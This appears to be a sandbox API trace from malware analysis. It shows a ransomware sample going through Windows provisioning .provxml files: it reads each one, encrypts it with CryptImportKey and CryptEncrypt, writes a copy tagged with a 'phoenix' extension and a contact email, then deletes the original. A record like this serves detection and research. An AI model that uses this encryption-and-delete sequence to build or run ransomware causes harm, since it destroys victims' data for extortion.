	[0256.802] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\633__Connections_Cellular_Solo (Canada)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\633__connections_cellular_solo (canada)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.802] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\633__Connections_Cellular_Solo (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\633__connections_cellular_solo (canada)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0256.802] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.802] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.802] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\633__Connections_Cellular_Solo (Canada)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\633__connections_cellular_solo (canada)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0256.803] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151540) returned 1
	[0256.803] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.803] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2bf, lpOverlapped=0x0) returned 1
	[0256.805] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2c0, dwBufLen=0x2c0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2c0) returned 1
	[0256.805] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2c0, lpOverlapped=0x0) returned 1
	[0256.806] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151740) returned 1
	[0256.806] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.806] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0256.806] CryptDestroyKey (hKey=0x151740) returned 1
	[0256.806] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0256.806] CryptDestroyKey (hKey=0x151540) returned 1
	[0256.806] CloseHandle (hObject=0x2f4) returned 1
	[0256.806] CloseHandle (hObject=0x2e0) returned 1
	[0256.806] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\633__Connections_Cellular_Solo (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\633__connections_cellular_solo (canada)_i0$(__mvid)@wap.provxml")) returned 1
	[0256.807] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0256.807] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\634__Connections_Cellular_PC Mobile (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\634__connections_cellular_pc mobile (canada)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0256.808] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=713) returned 1
	[0256.808] CloseHandle (hObject=0x2e0) returned 1
	[0256.808] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\634__Connections_Cellular_PC Mobile (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\634__connections_cellular_pc mobile (canada)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0256.808] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\634__Connections_Cellular_PC Mobile (Canada)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\634__connections_cellular_pc mobile (canada)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.808] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\634__Connections_Cellular_PC Mobile (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\634__connections_cellular_pc mobile (canada)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0256.809] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.809] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.809] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\634__Connections_Cellular_PC Mobile (Canada)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\634__connections_cellular_pc mobile (canada)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0256.809] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151640) returned 1
	[0256.809] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.809] ReadFile (in: hFile=0x2e0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c9, lpOverlapped=0x0) returned 1
	[0256.863] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0256.863] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0256.864] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151480) returned 1
	[0256.864] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.864] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0256.864] CryptDestroyKey (hKey=0x151480) returned 1
	[0256.864] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0256.864] CryptDestroyKey (hKey=0x151640) returned 1
	[0256.864] CloseHandle (hObject=0x2e0) returned 1
	[0256.864] CloseHandle (hObject=0x2f4) returned 1
	[0256.864] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\634__Connections_Cellular_PC Mobile (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\634__connections_cellular_pc mobile (canada)_i0$(__mvid)@wap.provxml")) returned 1
	[0256.865] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0256.865] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\640__Connections_Cellular_AQL - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\640__connections_cellular_aql - 3 (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0256.866] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=716) returned 1
	[0256.866] CloseHandle (hObject=0x2f4) returned 1
	[0256.866] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\640__Connections_Cellular_AQL - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\640__connections_cellular_aql - 3 (united kingdom)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0256.866] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\640__Connections_Cellular_AQL - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\640__connections_cellular_aql - 3 (united kingdom)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.866] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\640__Connections_Cellular_AQL - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\640__connections_cellular_aql - 3 (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0256.866] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.866] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.866] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\640__Connections_Cellular_AQL - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\640__connections_cellular_aql - 3 (united kingdom)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0256.867] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151180) returned 1
	[0256.867] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.867] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2cc, lpOverlapped=0x0) returned 1
	[0256.868] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0256.868] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0256.869] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151740) returned 1
	[0256.869] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.869] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0256.869] CryptDestroyKey (hKey=0x151740) returned 1
	[0256.869] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0256.869] CryptDestroyKey (hKey=0x151180) returned 1
	[0256.869] CloseHandle (hObject=0x2f4) returned 1
	[0256.869] CloseHandle (hObject=0x2e0) returned 1
	[0256.869] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\640__Connections_Cellular_AQL - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\640__connections_cellular_aql - 3 (united kingdom)_i0$(__mvid)@wap.provxml")) returned 1
	[0256.870] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0256.870] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\641__Connections_Cellular_AQL - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\641__connections_cellular_aql - 3 (united kingdom)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0256.873] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=711) returned 1
	[0256.873] CloseHandle (hObject=0x2e0) returned 1
	[0256.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\641__Connections_Cellular_AQL - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\641__connections_cellular_aql - 3 (united kingdom)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0256.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\641__Connections_Cellular_AQL - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\641__connections_cellular_aql - 3 (united kingdom)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.873] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\641__Connections_Cellular_AQL - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\641__connections_cellular_aql - 3 (united kingdom)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0256.873] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.873] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.873] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\641__Connections_Cellular_AQL - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\641__connections_cellular_aql - 3 (united kingdom)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0256.874] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151480) returned 1
	[0256.874] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.874] ReadFile (in: hFile=0x2e0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c7, lpOverlapped=0x0) returned 1
	[0256.878] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0256.878] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0256.879] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151080) returned 1
	[0256.879] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.879] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0256.879] CryptDestroyKey (hKey=0x151080) returned 1
	[0256.879] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0256.879] CryptDestroyKey (hKey=0x151480) returned 1
	[0256.879] CloseHandle (hObject=0x2e0) returned 1
	[0256.879] CloseHandle (hObject=0x2f4) returned 1
	[0256.880] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\641__Connections_Cellular_AQL - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\641__connections_cellular_aql - 3 (united kingdom)_i1$(__mvid)@wap.provxml")) returned 1
	[0256.880] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0256.880] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\642__Connections_Cellular_AQL - 3 (United Kingdom)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\642__connections_cellular_aql - 3 (united kingdom)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0256.881] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=711) returned 1
	[0256.881] CloseHandle (hObject=0x2f4) returned 1
	[0256.881] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\642__Connections_Cellular_AQL - 3 (United Kingdom)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\642__connections_cellular_aql - 3 (united kingdom)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0256.881] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\642__Connections_Cellular_AQL - 3 (United Kingdom)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\642__connections_cellular_aql - 3 (united kingdom)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.881] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\642__Connections_Cellular_AQL - 3 (United Kingdom)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\642__connections_cellular_aql - 3 (united kingdom)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0256.881] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.881] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.881] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\642__Connections_Cellular_AQL - 3 (United Kingdom)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\642__connections_cellular_aql - 3 (united kingdom)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
